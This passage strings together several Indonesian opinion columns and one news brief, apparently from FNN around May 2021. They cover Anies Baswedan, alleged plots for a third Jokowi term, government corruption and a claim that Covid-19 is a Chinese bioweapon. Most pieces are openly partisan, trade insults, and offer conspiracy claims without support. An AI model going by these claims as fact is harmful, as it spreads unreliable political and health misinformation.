radikal.” Belakangan, perbagai kalangan di Jakarta menyadari mereka telah salah nilai, setelah terbukti Anies memperlakukan semua kelompok agama secara adil melalui kebijakan dan program afirmatif yang inklusif. Hasilnya, Anies menerima Harmony Award Tahun 2020 dari Kemenag karena sukses melakukan harmonisasi kehidupan beragama di Jakarta. Tetapi buzzer bayaran terus memelihara dendam politik hingga sekarang. Apa pun yang dilakukan Anies langsung diserang secara membabi buta dan irasional. Kepemimpinan Anies yang mumpuni – akuntabel, kredibel, rasional, dan simpatik, bukannya mengembalikan akal sehat, malah membuat mereka semakin kalap. Sementara, karena kinerja gemilang, Anies telah menerima lusinan penghargaan dalam dan luar negeri selama tiga tahun kepemimpinannya. Bandingkan dengan Ahok yang hanya mendapat tiga penghargaan dalam negeri selama tiga tahun kepemimpinannya. Itupun penghargaan yang memang rutin diterima DKI Jakarta sebagai ibukota negara. Atas semua fakta tersebut, para buzzer bayaran dan haters Anies tutup mata. Tak henti-hentinya, mereka mencari celah untuk membunuh karakter Anies yang mendapat perhatian dunia internasional karena reputasi intelektualitas dan kinerjanya memimpin Ibukota. Ia pun diundang berceramah di pusat-pusat kota dunia untuk berbicara tentang isu-isu yang menjadi keprihatinan masyarakat internasional. Dalam menghadapi pandemi covid-19, Anies didaulat bicara di antara gubernur dan walikota seluruh dunia tentang pengalamannya mengatasi corona di Jakarta yang dianggap sukses. Belum lama ini, dalam kapasitasnya sebagai Wakil Ketua Jejaring C40 Cities untuk Perubahan Iklim, Anies menyampaikan pidato singkat selama 2 menit dalam dialog yang dihadiri Sekjen Perserikatan Bangsa-Bangsa (PBB) dan delegasi asosiasi kota besar dunia. Anies menyampaikan usulan kepada PBB untuk membantu kota-kota di dunia mengatasi dampak perubahan iklim, dan usulan itupun langsung disetujui oleh Sekjen PBB Antonio Gutteres. Sementara itu, pendukungnya serta kalangan yang berpikir rasional dan obyektif makin yakin dengan kualitas seorang Anies yang telah teruji menghadapi segala godaan dan cobaan memimpin Jakarta. Bagaimana ia tampil dengan terobosan-terobosan gemilang untuk melayani dan meningkatkan kualitas hidup warganya, serta memperindah Ibukota. Banyak yang berdecak kagum, mengapa ia begitu berhasil menata kota yang rumit ini dan menyejahterakan warganya tanpa caci maki seperti Ahok. Dengan tidak menafikkan adanya “persoalan lama” Ibukota, seperti banjir dan polusi udara, di bawah kepemimpinan Anies, kemiskinan yang sudah sangat rendah terus berkurang, demokrasi pulih setelah diacak acak Jokowi dan Ahok, pembangunan manusia tumbuh pesat, potensi korupsi redup, oligarki surut, kohesi sosial membaik, penampilan fisik Jakarta makin indah, dan kemacetan berkurang. Selain itu, keberanian politik Anies melawan super-oligarki dengan menghentikan proyek reklamasi 17 pulau di Teluk Jakarta juga patut diapresiasi, meskipun akhir-akhir ini terjadi kontroversi reklamasi Ancol yang proses pengembangan, pengelolaan dan peruntukannya sangat berbeda. Sementara, pada masa kepemimpinan Ahok, tingkat kemiskinan di Jakarta meningkat, demokrasi babak belur, oligarki meluas, dan korupsi merajalela. Laporan keuangan DKI semasa Ahok pun belum pernah mendapat penilaian WTP dari BPK. Terbukti kejujuran, kesantunan, dan kecerdasan Anies jauh lebih bertenaga untuk memajukan kota dan membahagiakan warganya. Inilah sebabnya mengapa pendukung Anies dan kalangan yang melek politik rasional merasa telah menjatuhkan pilihan yang tepat ketika memilihnya dulu. Alhasil, orang-orang yang masih dendam pada Anies, terutama buzzer bayaran, tentu akan mengeksploitasi semua isu untuk menjatuhkan Anies, tak peduli apa yang dikakukan Anies masuk akal dan bermanfaat bagi orang banyak. Maklum, target mereka adalah mencegah Anies ikut kontestasi pilpres 2024. Namun, sejauh ini upaya mereka melakukan pembunuhan karakter Anies gagal total. Publik lebih menilai kualitas personal Anies, serta menyaksikan dan merasakan hasil kerja nyatanya selama ini. Komunitas internasional pun mengapresiasi kinerja gubernur yang satu ini. Salah satu kinerja Anies yang mencolok adalah penanggulangan covid-19. Sampai-sampai rezim Jokowi yang amburadul dan menjadi pelindung Ahok pun terpaksa mengekor pada inisiatif-inisiatif Anies, meskipun selalu terlambat. Dus, pertarungan pilpres 2024 mendatang tidak akan lepas dari sosok Anies. Dia menjadi salah satu capres terfavorit, bahkan terkuat dari kalangan non-parpol. Sejumlah survei elektabilitas selalu menempatkan Anies di 3 tokoh dengan elektabilitas tertinggi capres 2024, dan sering kali menempati urutan teratas, menyalip para elit parpol yang menjadi jagoan rezim Jokowi dan para taipan. Yang pasti, potensi keterpilihan Anies untuk bertarung dalam pilpres 2024 tidak terbendung. Terlebih nanti mendapat endorsement dari parpol atau gabungan parpol. Kebencian sebagian orang, terutama kelompok yang buta politik and masih terjerat politik identitas, tidak akan mampu menghalangi Anies memimpin dan menyelamatkan Indonesia dari keterpurukan yang sangat dalam akibat salah urus rezim saat ini. Penulis adalah Dewan Pengurus IDe

Awas Skenario Rusuh Tiga Periode Jokowi

by Tarmidzi Yusuf Jakarta FNN - Selentingan bakal adanya 'Proyek Rusuh Nasional' dalam rentang tahun 2021 - 2023, akhir-akhir ini kembali berhembus atau dihembuskan ke ruang publik. Banyak pengamat dan aktivis dakwah mengaitkan 'Proyek Rusuh Nasional' dengan isu tiga periode Jokowi. Disebut 'proyek' karena ada sponsor politik, donatur, 'pasukan' cyber dan 'pasukan' perusuh. Bahkan yang harus dicurigai dibalik gencarnya impor TKA dari China komunis. Tentu saja erat kaitannya dengan kepentingan politik dan ekonomi para cukong, jenderal merah hitam dan kelompok kiri radikal berkedok Proyek Strategis Nasional (PSN). Menurut diskusi yang berkembang, hanya melalui “Proyek Rusuh Nasional” yang berdarah-darah, skenario Jokowi tiga periode bisa berjalan mulus. Mereka mengkondisikan negara dalam keadaan darurat sipil. Penulis condong menyebutnya di darurat sipilkan sebagai alasan Jokowi lanjut tiga periode. Dalam situasi di darurat sipilkan, MPR dipaksa menggelar sidang istimewa untuk mengamandemen Pasal 7 UUD 1945 yang mengatur masa jabatan presiden. Pertanyaannya, kenapa harus melalui “Proyek Rusuh Nasional” untuk mengamandemen Pasal 7 UUD 1945? Bukankah masih ada celah lain. Dekrit Presiden misalnya. Dalam situasi normal dan konstelasi politik nasional di MPR/DPR saat ini, mustahil MPR akan meloloskan amandemen Pasal 7 UUD 1945 dari dua periode menjadi tiga periode atau khusus Pasal 7 kembali ke UUD 1945 Asli kecuali melalui Dekrit Presiden kembali ke UUD 1945 Asli. Namun, yang perlu diwaspadai, para cukong, jenderal merah hitam dan kelompok kiri radikal akan nimbrung sebagai penumpang gelap isu kembali ke UUD 1945 Asli melalui Dekrit Presiden, apabila upaya melalui parlemen menemui jalan buntuh. Dengan kembali ke UUD 1945 Asli, otomatis Jokowi bisa melenggang kembali menjadi Presiden tiga periode. Bahkan Presiden seumur hidup. Dalam pengamatan penulis, ada beberapa partai politik pemilik kursi di MPR berada di barisan pendukung Jokowi. Misalnya; Golkar, PKB, NasDem dan PPP. Total kursi 221 kursi atau 31% dari total 711 kursi di MPR. Dengan tekanan politik yang luar bisa dalam situasi abnormal, bisa saja PDIP yang memiliki 128 kursi bersama PAN yang punya 44 kursi berbalik arah ditambah dengan sebagian anggota DPD mendukung Jokowi tiga periode. Pendukung Jokowi tiga periode di MPR diperkirakan hampir 70%. Kurang 5% untuk menjadi 2/3 suara, seperti yang dipersyaratkan oleh Pasal 37 ayat 3 UUD 1945. Isu kudeta Partai Demokrat yang memiliki 54 kursi di MPR atau 7,3% beberapa bulan lalu gagal total. Dalam konteks inilah kita membaca kenapa ada yang berupaya “merampok” Partai Demokrat. Ambisi untuk tiga priode kemungkinan saja menjadi salah satu tujuan utama. Lantas apakah rakyat akan terpancing dengan Proyek Rusuh Nasional tiga priode Presiden Jokowi? Kemungkinan rakyat akan terbelah menjadi dua kelompok besar. Yang satu pendukung Jokowi tiga periode versus yang kontra Jokowi tiga periode. Siapa yang kuat? Estimasi penulis, rakyat yang kontra Jokowi tiga periode tidak akan terpancing dengan isu “Proyek Rusuh Nasional”. Sebaliknya, “Proyek Rusuh Nasional” bisa saja mempercepat lengsernya Jokowi sebelum 2024 tiba. Ibaratnya, seperti membakar lumbung. Padinya tidak terbakar, tetapi yang membakar terbakar. Pasalnya rakyat makin cerdas, terutama belajar dari kerusuhan Mei 1998 dan kerusuhan 21 - 23 Mei 2019. Ada pasukan liar, berupa perusuh-perusuh profesional yang disusupkan seperti tahun 1998 dan 2019. Wallahua'lam bish-shawab. Penulis adalah Pegiat Da’wah dan Sosial

Presiden Jokowi Harusnya Kesal Pada Dirinya Sendiri

PRESIDEN Joko Widodo atau Jokowi tengah kesal dengan amburadulnya data pemerintahan. Mulai dari pusat sampai tingkat daerah. Dampaknya selain sangat mengherankan, juga menimbulkan berbagai kelucuan yang tidak lucu. "Saya melihat, saya ini di lapangan terus. Ada waduk nggak ada irigasi-nya, irigasi primer, sekunder, tersier, nggak ada. Ada membangun pelabuhan baru, nggak ada akses jalan ke situ, apa-apaan. Bagaimana pelabuhan bisa digunakan,” ujarnya ketika memberi pengarahan Rapat Koordinasi Nasional Pengawasan Internal Pemerintah 2021, Kamis (27/5/2021). Jokowi juga menyoroti tumpang tindihnya dana bantuan sosial (bansos) di tingkat pusat dan daerah. Soal ini juga pernah dilaporkan oleh Mensos Tri Rismaharini ke KPK. Berdasarkan audit dari BPK, ditemukan 21 juta data penerima bansos ganda. Dalam rapat kerja dengan DPR Komisi VIII DPR RI Risma mengaku mumet melihat data bansos. Yang lebih membuat Jokowi jengkel adalah rendahnya penyerapan anggaran baik pada APBN, maupun APBD. Padahal, dia sebelumnya mematok angka pertumbuhan ekonomi sampai 7 persen. Salah satu mesin penggeraknya diharapkan dari gelontoran anggaran pemerintah. "Saya minta percepatan belanja pemerintah dikawal dan ditingkatkan, dan supaya kita tahu semuanya, realisasi belanja pemerintah masih rendah, sekitar kurang lebih 15% untuk APBN, dan 7% untuk APBD, masih rendah. Serapan belanja PEN juga masih rendah, baru 24,6%, sekali lagi kecepatan, tapi juga ketepatan sasaran,” tegasnya. Ini bukan pertama kalinya Jokowi menyampaikan kejengkelan dan kemarahannya kepada jajaran pembantunya di kabinet, dan birokrasi. Berkali-kali kita mencatat Jokowi menyampaikan hal itu. Jokowi tercatat pernah sangat marah kepada menterinya soal penanganan krisis Covid-19. Dia bahkan sampai mengancam akan mencopot menteri yang dianggap tidak becus bekerja. Jokowi menilai ada menteri yang bekerja biasa-biasa saja. Tidak punya sense of crisis. Kalimat yang digunakan Jokowi juga sama. “Apa-apaan ini?” Melihat data dan fakta yang dipaparkan Jokowi kita bisa memaklumi jika presiden sampai harus heran, marah dan kesal. Sangat tidak masuk akal dan konyol bila ada pembangunan waduk, namun tak ada saluran irigasinya. Ada pelabuhan, tidak ada akses jalannya. Hal semacam itu hanya mungkin terjadi di negara Wakanda. Negeri antah berantah. Super konyol dan tak masuk akal. Percaya nggak percaya. Begitu juga halnya dengan tumpang tindihnya data, dan rendahnya penyerapan anggaran. Pada periode lalu, saat posisi Wapres dijabat oleh Yusuf Kalla, pemerintah sempat berkilah rendahnya penyerapan anggaran, karena banyak pejabat yang takut dicokok oleh KPK. KPK juga dituding oleh Kepala Staf Presiden Moeldoko berdampak pada rendahnya investasi yang masuk ke Indonesia. Jalan keluarnya sekarang, KPK dilemahkan. Para petugasnya yang punya integritas dan dedikasi tinggi disingkirkan melalui test wawasan kebangsaan. Selain itu dengan dalih perang melawan Covid-19 pemerintah telah menerbitkan Perppu No. 1 Tahun 2020 tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan untuk Penanganan Pandemi Corona Virus. PERPPU tersebut kemudian disahkan menjadi UU No 2 Tahun 2020. Dengan UU tersebut, atas nama penanganan Covid-19, pejabat negara dilindungi dan kebal dari tuntutan hukum. Bebas menggunakan anggaran, tanpa harus khawatir dan takut akan dituntut secara hukum. Jadi sangat aneh bila penyerapan anggaran masih sangat rendah. Dalam situasi semacam ini kita jadi teringat dengan sebuah adagium dalam dalam dunia kemiliteran. “Tidak ada anak buah yang salah. Yang salah adalah komandan!” Presiden Jokowi harusnya bertanya kepada diri sendiri. Mengapa semua itu bisa terjadi. Jokowi sudah memasuki periode kedua sebagai seorang presiden. Dia sudah 7 tahun menjadi komandan tertinggi di Indonesia. Masa konsolidasi sudah lewat. Jokowi sudah bolak-balik bongkar pasang kabinet. Sudah enam kali reshuffle. Empat kali pada periode pertama, dan dua kali pada periode kedua. Sampai sekarang masih banyak sekali terjadi kekacauan dalam pelaksanaan pembangunan. Kekacauan data, dan kekonyolan-kekonyolan lainnya, Jokowi hendaknya bertanya kepada diri sendiri. Mengapa semua itu masih terjadi? Dia tidak bisa terus menerus menyalahkan anak buahnya. Toh dia sudah melakukan reshuffle sampai enam kali. Dia juga punya hak sepenuhnya kembali melakukan reshuffle, jika dianggap masih perlu. Kembali ke adagium militer tadi. Pasti yang salah adalah komandannya. Kesalahan itu ada pada diri Jokowi. Silakan marah pada diri sendiri. Masyarakat sudah lama marah melihat berbagai kekonyolan itu. Hanya saja rakyat tidak punya kewenangan mengganti presiden setiap saat, seperti halnya presiden bisa melakukan reshuffle. **

Pesawat Latih Jatuh di Buperta Cibubur

Depok, FNN - Pesawat latih sipil jatuh di kawasan area Bumi Perkemahan dan Graha Wisata atau Buperta Cibubur, Kelurahan Harjamukti, Kecamatan Cimanggis, Depok, Jawa Barat (Jabar), Jumat (28/05/21). Kepala Humas Polres Metro Depok Komisaris Polisi Supriyadi membenarkan adanya pesawat latih jatuh di kawasan Buperta tersebut. "Pilot dan seorang awak pesawat latih selamat dan dibawa ke rumah sakit terdekat," ujarnya. Ia mengatakan saat ini sejumlah petugas telah dikerahkan ke lokasi kejadian, termasuk dari jajaran Polres Metro Depok. Namun Supriyadi mengaku belum bisa menjelaskan secara detail terkait jatuhnya pesawat latih tersebut. "Kami masih mengumpulkan keterangan dari lapangan," katanya lagi. (ant/sws)

Rekayasa Dukungan Untuk Tiga Periode?

by M Rizal Fadillah Bandung FNN - Bulan April lalu Benteng Indonesia (Benin) entah Organisasi Kemasyarakatan (Ormas) atau Lembaga Swadaya Masyarakat (LSM) atau organisasi lainnya, entah mimpi apa di siang bolong mulai menggelindingkan dukungan tiga periode untuk jabatan Jokowi. Artinya kelompok ini mendorong adanya amandemen UUD 1945 untuk mengubah batasan masa jabatan Presiden dari dua periode menjadi tiga periode. Jokowi dipastikan mengatakan itu bukan idenya. Bahkan kemungkinan akan menyatakan "tidak tahu menahu'. Seperti biasa kebiasaan Jokowi. Jika muncul kelompok lain yang melakukan hal serupa dikemudiannya, maka sudah pantas rakyat atau masyarakat mencurigai adanya ulah oknum pendukung Jokowi di sekitarnya yang memang serius memperjuangkan. Meskipun demikian, Jokowi pun mulai dan patut diduga berada di belakangnya. Operasi yang berbiaya tinggi untuk suatu sukses politik mulai dijalankan. Ungkapan bahwa Jokowi sendiri tidak ada niat untuk menjabat tiga periode mulai diragukan. Bahkan sangat wajar untuk tidak dipercaya sama sekali, karena begitulah kebiasaan Jokowi. Antara omongan dan perbuatan tidak pernah singkron. Lihat saja penerapan Protokol Kesehatan (Prokes). Isu tiga periode telah lama mengemuka. Mengingat peta politik dan kepentigan pragmatis dari partai politik, maka isu ini bukan mustahil menjadi kenyataan. Aspirasi rakyat mudah dibelokkan oleh penentu kebijakan politik di DPR atau MPR. Apalagi DPR telah menjadi perpanjangan tangan kepentingan oligarki dan konglomerat hitam, busuk, picik, licik dan tamak. Toh sudah terbukti bahwa aspirasi rakyat hanya dibutuhkan hanya saat Pemilu. Itupun dapat direkayasa. Lihat saja pada pembentukan UU Cipta Kerja, UU KPK dan UU Minerba. Rakyat sama-sekali tidak didengar suaranya. Problem kepartaian kini adalah partai politik bukan lagi berfungsi sebagai elemen penegak demokrasi, melainkan menjadi perusak demokrasi. Jika semakin gencar tekanan untuk amandemen UUD 1945 dengan muatan perpanjangan masa jabatan Presiden boleh menjadi tiga periode, maka akan gencar juga kelompok atau aspirasi yang akan melakukan penolakan. Situasi politik semakin bakalan semakin memanas dalam polarisasi dua kepentingan yang berposisi diametral. Bukan mustahil muncul dan menguat pula aspirasi antitesis yang lebih menukik dan tajam, dengan beberapa alasan. Pertama, persoalan amandemen UUD 1945 bukan hanya sekedar perpanjangan jabatan yang dimasalahkan. Tetapi beberapa amandemen terdahulu juga perlu dikritisi. Isu politiknya adalah kembali ke UUD 1945 yang murni. MPR berdaulat kembali dan menjadi Lembaga Tertinggi Negara. Presiden bertanggungjawab kepada MPR. Tidak asal pergi meninggalkan jabatan. Kedua, jangankan Presiden yang bertambah masa jabatan menjadi tiga periode, untuk bisa bertahan hingga 2024 saja sudah sangat berat. Bisa saja ada desakan agar Presiden cukup sampai disini. Desakan konstitusional agar Presiden mundur atau dimundurkan. Rakyat melihat pada ketidakmampuan Presiden dan penyimpangan dalam pengelolaan negara. Gelindingan dan perjuagan agar Presiden Jokowi menjabat tiga periode bukan tanpa tantangan dan risiko. Meski sepintas terlihat mudah. Tetapi prakteknya tak semudah yang dikalkulasikan. Sejarah telah sarat dengan catatan tentang perubahan politik yang cepat dan tak terduga-duga. Korupsi Itu Tanggungjawab Presiden Bukan Mahfud MD kalau tidak membuat gaduh. Seolah Menkopolhukam adalah Menteri yang mengkoordinir penciptaan keramaian politik, kegundahan hukum, dan kerentanan keamanan. Lempar batu sembunyi tangan. Ungkapan paling mutakhir Mahfud adalah korupsi kini yang merajalela dan Perguruan Tinggi harus bertanggungjawab. Alasan Mahfud koruptor itu sebagian besar produk Perguruan Tinggi. Ternyata Mahfad naif sekali. Seperti orang dungu, dongo, kaleng-kaleng, odong-odong dan beleng-belang. Mahfud lupa kalau korupsi merajalela pasca reformasi, dan rakyat menilai itu di eranya Pemerintahan Jokowi justru yang paling parah. Itu tanggung jawab Presiden Jokowi Bukan beban dan tanggungjawab dari kalangan PerguruanTinggi. Realitanya bahwa lingkungan yang dimasuki para alumni adalah ruang beriklim kehidupan ketatanegaraan yang sangat korup. Birokrasi korup, legislative korup, yudikatif korup, pemerintahan daerah dan instansi lainnya juga ramau korup berjamaah di eranya Presiden Jokowi. Presiden adalah Kepala Negara dan Kepala Pemerintahan. Karenanya bertanggungjawab atas atmosfir yang ada di berbagai bidang kehidupan pengelolaan negara. Kata Cirero, “ikan itu busuk dari kepalanya”. Jika Kepala Negara dan Kepala Pemerintahan mengalami proses pembusukan, maka dampaknya menjadi multi-dimensional. Menjadi ikutan-ikutan anak buah dan instansi pemerintah lain di bawahnya. Penilaiannya adalah cara memimpin atau mengelola negara yang gagal atau tidak becus. Tata kelola yang primitif, amatiran dan kampungan. Jauh dari tata kelola negara yang benar dan profesianal. Sehingga wajar saja kalau tidak yang dapat dibanggakan dari pemerintahan Jokowi. Presiden siapapun yang tidak tegas dalam memerangi korupsi, akan dilingkari oleh orang-orang yang berani untuk korupsi. Sebaliknya menjadi baik dan profesional jika Presiden tegas, tidak pandang bulu. Seiya sekata antara perbuatan dan tindakan. Tidak memaksakan diri untuk membangun dinasti politik kerluarga anak ddan menantu. Presiden harus bisa membuktikan dalam kebijakan politik yang diambilnya selalu memerangi dan memberi contoh sebagai pemberantas korupsi. Maka birokrasi, legislatif atau badan apapun akan segan, bahkan takut untuk melakukan korupsi. Karena Presiden memberi contoh baik. Jadi korupsi merajalela, meski banyak faktor yang turut menjadi sebab dan banyak pihak harus bertanggungjawab, maka faktor utama dan menentukan adalah Presiden yang tidak berwibawa. Tidak jujur dan tidak berkualitas. Bukan Presiden yang masa bodoh, gemar pencitraan, plintat-plintut, atau pelabrak hukum dan etika politik. Bahkan bisa-bisa diindikasikan korup juga. Presiden Jokowi dengan revisi UU KPK yang melumpuhkan lembaga KPK justru nyata-nyata tak menunjukkan teladan bagi pemberantasan korupsi. Presiden semestinya mampu menggerakkan segenap aparat penegak hukum untuk bekerja maksimal memberantas korupsi. Bukan yang sebaliknya. korupsi seperti dibiarkan merajalela sebagai konsekuensi dari rezim investasi. Para investor hanya akan berdatangan untuk menanamkan modalnya di negara dengan pemerintahnya tidak korup. Investasi dan hutang luar negeri yang tidak berimplikasi pada budaya upeti dan komisi. Tragisnya, korupsi kini dianggap sebagai hal yang biasa-biasa saja. Bahkan dilakukan dengan rapih melalui perencanaan yang rapih dan matang. Dampingan korupsi, yaitu kolusi dan nepotisme ternyata turut merajalela pasca reformasi, khususnya sekarang ini. Mahfud MD semestinya bukan menyalahkan Perguruan Tinggi, tetapi menyalahkan diri sendiri sebagai bagian dari Pemerintahan Jokowi. Menkopolhukam adalah "tangan kanan" penanggungjawab pemberantasan korupsi saat ini di negeri ini. Jadi, jika dipertanyakan merajalelanya korupsi menjadi tanggungjawab Perguruan Tinggi atau Menkopolhukam, maka jawabannya tanggungjawab Menteri Koordinator Politik, Hukum, dan Keamanan. Nah, jika pertanyaannya menjadi tanggungjawab PerguruanTinggi atau Presiden? Pastilah jawabannya tanggungjawab Presiden! Presiden yang disadari atau tidak telah menciptakan iklim korupsi di segala bidang kenegaraan. Tak serius dalam melakukan pemberantasan Korupsi, Kolusi, dan Nepotisme (KKN). Terus mau berambisi untuk menjabat tiga priode? Sebaiknya ngaca dirilah. Penulis adalah Pemerhati Politik dan Kebangsaan.

Perang Dunia III di Depan Mata, China dan Covid Pemicunya?

by Mochamad Toha Surabaya, FNN - Dailymail.co.uk menulis, Ilmuwan China dilaporkan telah mempersiapkan “Perang Dunia 3” dengan senjata biologis dan genetik. Termasuk Virus Corona (Covid-19) yang kini melanda dunia, selama enam tahun terakhir. Bukti terbarunya, Beijing mempertimbangkan potensi militer dari virus Corona SARS sejak 2015 yang juga telah menimbulkan kekhawatiran baru atas penyebab Covid-19, karena beberapa pejabat masih percaya, virus itu lolos dari laboratorium China. Sementara itu, “dokumen rahasia tahun 2015” menjadi bukti “kejahatan perang China” soal senjata biologis. Dokumen rahasia yang dibuat 6 tahun lalu ini pun kini menjadi perdebatan karena berisi tentang niat China memulai perang dunia 3. Dari namanya saja, “makalah bom” yang telah sukses diakses oleh Departemen Luar Negeri AS, pembaca akan bertanya-tanya apa maksud dibalik pembuatannya oleh China. Seperti dilansir dari Dailymail.co.uk, Minggu (9/5/2021),, hingga saat membaca isi dokumen tersebut, maksud dan tujuan China kini bertengger menjadi salah satu negara tersukses di tengah pandemi Covid-19 agaknya terbuka lebar. Dokumen yang dibuat oleh para ilmuwan Tentara Pembebasan Rakyat (PLA China) dan pejabat kesehatan, yang rinciannya dilaporkan di The Australian, meneliti manipulasi penyakit untuk membuat senjata dengan cara yang belum pernah terlihat sebelumnya. Para penulis dokumen tersebut bersikeras bahwa “Perang Dunia 3” akan bersifat biologis. Ini tidak seperti dua perang sebelumnya yang masing-masing digambarkan sebagai perang kimia dan nuklir. Makalah itu merujuk pada dua bom atom yang dijatuhkan di Jepang dan memaksa mereka untuk menyerah, serta mengakhiri Perang Dunia 2. Karenanya kini China mengklaim senjata biologis akan menjadi senjata inti untuk kemenangan dalam Perang Dunia 3. Dokumen tersebut juga menguraikan cara-cara untuk melepaskan senjata biologis dan menyebabkan kerusakan maksimum terhadap sistem medis musuh. Para ilmuwan mengatakan serangan semacam itu tak boleh dilakukan di tengah hari yang cerah. Ini karena sinar matahari yang intens bisa merusak patogen, sementara hujan atau salju dapat memengaruhi partikel aerosol. Sebaliknya, harus dilepaskan pada malam hari, atau saat fajar, senja, atau di bawah cuaca mendung, dengan arah angin yang stabil. Sehingga aerosol dapat melayang ke area sasaran. Sementara itu, penelitian juga mencatat, serangan semacam itu akan mengakibatkan lonjakan pasien yang membutuhkan perawatan di rumah sakit, yang kemudian bisa menyebabkan sistem medis musuh runtuh. “Dokumen ini menimbulkan kekhawatiran besar tentang ambisi beberapa dari mereka,” kata Anggota Parlemen Tom Tugendhat, ketua komite urusan luar negeri. “Bahkan mereka sangat sadar bahwa senjata-senjata ini berbahaya.” “Tak hanya untuk musuh, tapi warga China sendiri,” lanjut Tom Tugendhat. Sebelumnya, badan intelijen mencurigai Covid-19 mungkin hasil dari kebocoran laboratorium Wuhan yang tidak disengaja. Presiden Brasil Jair Bolsonaro mengkritik keras China dengan menuduhnya menciptakan senjata biologis. Namun belum ada bukti yang menunjukkan bahwa dugaan itu benar. Ia menyebut, Covid-19 untuk memicu 'perang' kimiawi. Apalagi Bolsonaro menambahkan, China menjadi negara yang justru sukses meningkatkan PDB. Sementara itu, negara lain justru tengah berusaha mengatasi lonjakan kasus baru dan kasus kematian. Data dari Organisasi untuk Kerja Sama Ekonomi dan Pembangunan memang menunjukkan bahwa China adalah satu-satunya anggota G20 yang PDB-nya menunjukkan pertumbuhan selama pandemi pada tahun 2020. Terlihat PDB-nya meningkat sebesar 2,3%. Mantan Presiden AS Donald Trump juga menuduh WHO meniru propaganda China pada virus sejak wabah pertama kali diumumkan ke dunia. Tapi, China menolak kritik itu dan menuduh AS malah melakukan tekanan politik pada para ahli misi pencari fakta. Benarkah Virus Corona yang pertama melanda Kota Wuhan, Provinsi Hubei, China, adalah senjata biologis yang berasal dari Wuhan Institute of Virology, sebuah laboratorium terkait senjata rahasia China yang mengembangkan virus mematikan? Jika benar, jelas ini sangat membahayakan kehidupan manusia di seluruh dunia. Terbukti, ini menular antar manusia. Hal ini diungkapkan oleh seorang ahli perang biologis Israel, Letkol Dany Shoham. Perlu dicatat, Shoham meraih gelar doktor dalam bidang mikrobiologi medis. Dari 1970-1991, ia merupakan analis senior intelijen militer Israel untuk perang biologi dan kimia di Timur Tengah dan di seluruh dunia. Seperti dilansir dari Viva.co.id, Sabtu (25/1/2020 | 20:00 WIB), Minggu ini, Radio Free Asia menyiarkan ulang laporan televisi lokal Wuhan pada 2015, yang menunjukkan laboratorium penelitian virus paling maju di China, yang dikenal sebagai Institut Virologi Wuhan. Diketahui, Wuhan memiliki dua laboratorium yang terhubung dengan program bio-warfare. Laboratorium itu adalah satu-satunya tempat yang dinyatakan China mampu mengerjakan virus-virus mematikan. Dany Shoham telah mempelajari senjata biologi China. Menurutnya, institut ini berhubungan dengan program senjata biologis rahasia Beijing. Laboratorium tertentu di institut ini mungkin terlibat dalam hal penelitian dan pengembangan senjata biologis China. “Setidaknya sebagai pelengkap, namun bukan sebagai fasilitas utama penyelarasan senjata biologi,” katanya dikutip dari Washington Times, Sabtu (25/1/2020). Ia juga mengatakan, pengerjaan senjata biologi dilakukan sebagai bagian dari penelitian sipil-militer ganda dan “pasti rahasia”. China sendiri selalu membantah memiliki senjata biologis ofensif. Namun, Departemen Luar Negeri AS, dalam sebuah laporan dua tahun lalu, mengatakan mereka mencurigai China telah terlibat dalam pekerjaan perang biologis terselubung. Tapi, pihak berwenang China sejauh ini mengatakan bahwa asal-usul virus corona, yang telah membunuh banyak orang dan menginfeksi ratusan di pusat Provinsi Hubei, tidak diketahui asal usulnya. Seorang pejabat AS menyebut, ini adalah satu tanda yang tidak menyenangkan, desas-desus semu sejak wabah yang dimulai dari Wuhan tersebut mulai beredar di Internet China yang mengklaim, virus itu adalah bagian dari konspirasi AS untuk menyebarkan senjata kuman. Benarkah ini senjata biologis yang sedang dikembangkan China, seperti sinyalemen seorang perwira intelijen Israel tadi? Jika benar, ini jelas sangat membahayakan kehidupan manusia di dunia. Jika memang benar senjata biologis akan menjadi pemicu Perang Dunia III, maka sejarah sejatinya berulang. Ingat, Perang Dunia I juga tidak lepas dari peran senjata biologis. Covid dan China akankah menjadi pemicu Perang Dunia III? Penulis adalah Wartawan Senior FNN.co.id.

Imperialisme Digital

by Zainal Bintang Jakarta FNN - Program “Literasi Digital Nasional” diluncurkan menandai peringatan “Hari Kebangkitan Nasional” tahun 2021, Kamis 20 Mei 2021. “Saya harap gerakan ini menggelinding dan terus membesar, bisa mendorong berbagai inisiatif di tempat lain melakukan kerja-kerja konkret di tengah masyarakat agar makin cakap memanfaatkan internet untuk kegiatan edukatif dan produktif,” kata Presiden Jokowi melalui sambutan virtual. Presiden merinci barisan “musuh” bangsa yang harus diperangi lewat maraknya konten-konten negatif dan eskalasi kejahatan yang hadir di ruang digital seperti hoaks, penipuan daring, perjudian, eksploitasi seksual pada anak, perundungan siber, ujaran kebencian, dan radikalisme berbasis digital. Mengutip sejarah, Hari Kebangkitan Nasional 113 tahun lalu pada 20 Mei 1908, dipelopori Dr. Wahidin Soedirohoesodo bersama tiga mahasiswa School tot Opleiding van Indische Artsen(STOVIA) mendirikan organisasi Boedi Oetamo. Ketiga mahasiswa itu adalah Soetomo, Gunawan Mangunkusumo, dan Suraji yang telah lama mengagumi dr Wahidin melalui majalah Retno Dumilak. Embrio pergerakan perjuangan menjadi bangsa itu, berlanjut dengan peristiwa “Hari Soempah Pemoeda” 28 Oktober 1928 dan mencapai puncaknya pada “Hari Proklamasi Kemerdekaan RI-17 Agustus 1945”. Jejak rangkaian narasi “kebangkitan” nasional itu, adalah embrio konsolidasi kesadaran berbangsa. Konsolidasi yang di dalamnya sarat semangat anti penjajahan, kolonialisme dan imperliasme. Semangat anti Belanda yang selama kurang lebih 350 tahun telah menjajah dan memangsa mentah-mentah SDA Indonesia melalui kekerasan, perbudakan dan bahkan penghinaan dalam bentuk kerja paksa di negeri sendiri. Di tengah ketidakpastian tampang regulasi saat ini, ancaman imperialisme digital sudah di depan mata. Salah satu contohnya persekutuan raksasa start-up Gojek dengan raksasa lainnya Tokopedia. Telusurilah “riwayat hidup” keduanya di mesin pencari “Google”. Akan ditemui fakta kedua raksasa kapitalisme yang berjubah imperialisme digital tersebut, memposisikan rakyat Indonesia yang berjumlah ratusan juta hanya sebagai “mesin” pencetak uang triliunan tiap bulan secara digital untuk kantong mereka di luar negeri. Memang benar menjanjikan kemudahan di semua bidang. Namun pada saat yang sama menyembunyikan “bencana yang tertunda” (delayed disarter) jangka Panjang. Dalam arti pergeseran budaya pekerja keras aktif menjadi mentalitas konsumerisme pasif, komentar seorang pakar 